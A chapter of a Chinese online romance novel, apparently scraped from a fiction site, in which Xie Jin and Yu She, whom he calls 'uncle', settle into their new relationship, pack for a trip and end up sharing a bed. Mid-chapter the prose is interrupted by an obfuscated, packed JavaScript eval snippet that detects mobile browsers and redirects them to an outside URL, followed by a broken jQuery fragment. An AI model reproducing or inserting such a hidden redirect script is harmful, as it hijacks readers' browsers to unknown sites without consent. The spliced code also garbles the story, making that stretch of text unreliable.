33.33

作品:《一篇老房子着火文

    余赦知道,谢瑾在同学面前这样介绍他无可厚非。


    谢瑾刚满二十岁,他和余赦的关系才开始,不可能也没必要现在就公开。


    谢瑾要保护自己,也会保护这段关系。


    用“小叔”这个身份是最安全的方式,余赦理解也认同。


    但理解归理解,余赦心里那股微妙的感觉却怎么都压不下去。


    谢瑾在和同龄人相处的时候很是自然,没有在余赦面前的那种谨慎讨好。


    余赦看见的谢瑾是另一副样子,撒娇的,耍赖的,眼里带着钩子,有时候像牛皮糖一样又甜又粘人,有时候让人想揉他的头发。


    他见过谢瑾所有真实的样子。


    可是在外人面前,余赦只是个“小叔”而已。


    余赦对现在的身份好像没那么满意了。


    以前他是谢瑾的长辈,谢瑾叫他一声小叔是应该的,他觉得理所当然,这种称呼甚至有种疏离的安全感。


    现在他还是小叔,可两人的关系已经远不止如此。


    这个转变对余赦来说有些快,他原以为自己需要一段时间的适应过程才能完全接受,没想到最先在意身份关系的人是他。


    他更喜欢谢瑾生日那天晚上直接叫他姓名的时候。


    这让余赦有一种,他和谢瑾的年龄差距也没那么远的感觉。


    谢瑾像是立马明白余赦的纠结从何而来,双手搭在余赦肩膀笑着亲了他一口,下巴抵在手背上乐呵呵地说:“这样会不会显得太生疏?其实我很喜欢这么叫你,就好像……我们之间有什么不可分割的联系。”


    在面对与余赦的感情时谢瑾总是很坦然,不管是刚开始的勇敢追求,以及害怕余赦会因为他的执着感到困扰,决定放手,谢瑾始终能诚实地看待自己的所有情绪。


    虽然他为了得到余赦的确做了很多……在余赦眼里看来幼稚或者啼笑皆非的事,但那些都是他的一片真心,就算撒谎也不是为了诈骗,而是想增进和余赦之间的距离。


    现在他们终于确定关系,谢瑾也说了不会再对余赦撒谎,他就一定不会食言。


    “我叫你小叔是因为在别人面前这样最安全,我不想让任何人知道我们的事,不想让你被那些闲言碎语烦扰,不想让那些人有机会说三道四,我想保护你。”


    余赦没说话,谢瑾则是轻轻握住了余赦的手,“不过我心里还是知道,你是我男朋友啊。”


    谢瑾嘴甜,声音也甜,余赦莫名有种他被谢瑾哄了的感觉。


    不知道为什么,谢瑾觉得余赦这样有点可爱。


    “我都说这么多好话了,不亲我一下?”谢瑾撅起嘴,有种知道余赦会惯着他的肆意妄为。


    余赦抬手握住谢瑾的脸,在他唇上印了一个吻。


    谢瑾觉得余赦应该是个掌控欲很强的人。


    每次余赦亲他都会用手制住脸,看起来好像是不希望谢瑾逃开或者是乱动,实际上他是不想看见谢瑾的任何拒绝。


    可余赦的教养又不允许他对谢瑾做什么太过分的事情,他的矛盾由此而来。


    也许别人会认为余赦性格太过矛盾迟疑,谢瑾却能察觉到余赦努力的转变。


    没办法,毕竟是谢瑾逼余赦和他在一起的,余赦又是个做什么都很负责的人,既然他和谢瑾成为恋人了,自然会想要怎样才能做得更好。


    对谢瑾来说,只要余赦愿意回应他,他会倾尽所有对余赦好。


    回到家,两人开始收拾行李。


    谢瑾把自己那堆东西从购物袋里拿到沙发上,又一件一件往行李箱里塞。


    他没什么章法,全凭心情,防晒衣叠两下就扔进去,沙滩鞋直接往里一扔,浮潜面镜怕压坏,还专门找了个软布包起来。


    余赦那边就整齐多了,在餐厅的大桌子上铺开一块防水布,把东西一样样摆好,检查,分类,收纳,动作有条不紊。


    谢瑾边收拾边偷看余赦。


    他注意到余赦手边有个方方正正的黑色小包,拉链上还挂着一个银色的小扣。


    “小叔,这是什么?”谢瑾凑过去闻。


    余赦没抬头,把那个包打开给他看了看,“急救包。”


    里面整整齐齐码着各种东西,止血带,纱布,绷带,几盒不知道是什么的药,小剪刀,镊子,酒精棉片,每一样都卡在固定的位置上,严丝合缝。


    谢瑾感叹,“你出门都带着这个?”


    “嗯。”余赦把包合上,放进行李箱的夹层里,“带了很多年。”


    身为医护人员,随身携带急救包简直是家常便饭。


    余赦有着良好的职业素养,也习惯了随时应对各种各样的意外。


    他又从另一个袋子里拿出一个深蓝色的皮质证件夹,打开检查里面的东西,护照,签证,几张卡片。


    他翻看了一遍,确认无误,准备放进行李箱。


    谢瑾眼尖,一下瞄准了余赦护照翻开的那一页。


    证件照。


    他还从来没见过余赦的证件照呢。


    “等一下等一下,让我看看。”谢瑾脱口而出。


    余赦动作顿住,抬眼看他。


    谢瑾已经凑过去紧紧盯着那本护照,还朝余赦眨了眨眼睛。


    余赦把护照递给他,谢瑾接过来之后低头看着那张照片。


    照片里的余赦看起来年轻很多,可能只有二十来岁的样子。


    脸还是那张脸,轮廓分明,眉眼间透着点不羁的郁气,眼神比现在锐利许多,带着一点谢瑾很少见到的,几乎可以称得上是锋芒的东西。


    谢瑾又看了看余赦。


    现在的余赦眉宇开阔豁达,沉静温和,而照片里的余赦则显得有些盛气凌人了。


    谢瑾来回对比了好几下,他忍不住开口:“小叔,你以前好凶啊。”


    余赦瞥了一眼照片,没说话。


    谢瑾又继续说:“现在看起来慈眉善目多了。”


    虽然余赦不笑的时候就是一张单纯的冷脸,散发着一股生人勿近的气息,但是他看谢瑾的时候眼里的光总是软的。


    谢瑾盯着那张照片看了好一会儿,忽然动了歪心思。


    他悄悄把手机拿出来装作不经意地翻看,然后———


    咔嚓。


    一声极轻的快门声。


    谢瑾僵住了。


    他居然没关声音。


    气氛大概僵滞了两三秒,谢瑾才敢去看余赦。


    结果正好对上余赦了然的眼神。


    谢瑾的脸腾地红了。


    他像个被当场抓住的小偷,手指还悬在屏幕上,一时之间不知道是该把手机藏起来还是干脆装作什么都没发生。


    “那个……”他干巴巴地开口,“我就是,想留着做个纪念。”


    声音越来越小。


    余赦看着谢瑾那张从耳朵红到脖根,眼睛都不知道该往哪儿放的脸,勾唇笑了笑,“没事,拍吧。”


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17289324|197411||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    余赦把护照往他面前推了推。


    “拍清楚点。”


    谢瑾确定余赦不是在开玩笑之后赶紧举起手机对着那张照片认认真真拍了好几张,还放大了看细节。


    “好了!”谢瑾心满意足地收起手机,抬头冲余赦笑,“小叔你真好。”


    余赦揉了下谢瑾的头,“以后做什么事别总是偷偷摸摸的,想要什么直接说就好,蜡烛我也有的是。”


    “……”


    完了,在栖云山庄的时候偷藏蜡烛的事儿还是被余赦知道了。


    谢瑾不再说话,沉默着继续收拾行李。


    余赦真能憋,看他做那么多蠢事还愿意和他在一起,伟大不必多言。


    晚上,谢瑾洗漱完躺在他已经睡了大半年的床上。


    床的软硬,枕头的高度,窗帘的透光度都是他熟悉的模样。


    可今晚不一样。


    这是他和余赦确定关系之后第一次在这里过夜。


    他们都是情侣了呢。


    谢瑾盯着天花板翻了个身。


    又翻了个身。


    睡不着!


    他拿出手机想给余赦发消息,又怕打扰他睡觉,不发消息就这么躺着又觉得心痒难耐。


    他想和余赦睡一起。


    这个念头但凡冒出来就再也压不下去了。


    可是怎么说呢?直接去敲门说“小叔我想和你睡”?


    太丢人了。


    假装做噩梦?好假。


    说他怕黑怎么样。啧,他自己都不信。


    谢瑾想了半天灵机一动。


    他爬起来,抱着自己的枕头蹑手蹑脚地走到余赦卧室门口。


    谢瑾悄悄拉动把手,居然没反锁!


    他推开一条缝,往里看。


    余赦侧躺在床上,呼吸平稳,好像睡着了。


    谢瑾溜进去,慢慢靠近床,然后———


    他把枕头往余赦枕头旁边一放,整个人往床上一趟,拉过被子盖好。


    闭上眼睛,装睡。


    心跳快得像打鼓一般。


    过了几秒他感觉旁边的床动了一下,然后是一个无奈的声音,低低的,带着点刚醒的沙哑。


    “谢瑾。”


    谢瑾闭着眼睛,不敢动,尽量将呼吸放平稳。


    余赦沉默了几秒。


    然后谢瑾感觉一只手伸过来把他往被子里掖了掖。


    “你枕头是凉的。”


    谢瑾装不下去了,睁开一只眼,看见余赦无奈的神色,讪讪地解释说:“我冷嘛。”


    余赦看着他。


    “真的,手脚冰凉呢,我就是来暖和暖和,暖和了就走。”


    余赦依旧看着他,没说话。


    谢瑾被余赦看得有些心里发毛,正准备坐起来,突然感觉腰间一紧。


    余赦的手搂住了谢瑾的腰,把他往自己那边带了一点。


    “别折腾了。”余赦的声音从头顶传来,“睡觉。”


    谢瑾暗爽。


    他被余赦搂在怀里,背后贴着精实的胸膛,能感觉到热腾腾的体温和沉稳的心跳。


    一下,一下。


    谢瑾悄悄往后靠了靠,让自己和余赦贴得更紧一点。


    余赦把谢瑾一整个抱住,握着他的手,气息沉稳,很快就再次进入了睡眠。


    谢瑾高兴完也渐渐染上了困意,慢慢合上眼。


    得寸进尺的感觉真爽,谢瑾笑着睡着了。